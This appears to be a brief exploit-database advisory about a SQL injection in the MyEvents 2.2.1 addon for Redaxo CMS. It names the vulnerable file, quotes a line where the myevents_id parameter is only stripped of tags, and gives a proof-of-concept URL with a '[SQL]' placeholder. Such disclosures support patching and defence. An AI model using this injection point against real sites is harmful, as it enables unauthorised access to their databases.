Redaxo CMS Addon MyEvents 2.2.1 - SQL Injection

# Exploit Title: Redaxo CMS Addon MyEvents SQL Injection [ Backend ]
# Date: 01.03.2018
# Exploit Author: h0n1gsp3cht
# Vendor Homepage: http://www.github.com/wende60/myevents
# Version: 2.2.1 (Last Version)
# Tested on: LinuxMint
# More: Login Required
# GET

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Vuln Code [+] redaxo/src/addons/myevents/pages/event_add.php
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$myevents_id            =  strip_tags(rex_request('myevents_id', 'string'));

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POC
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http://127.0.0.1/redaxo/index.php?page=myevents/event_add&myevents_id=[SQL]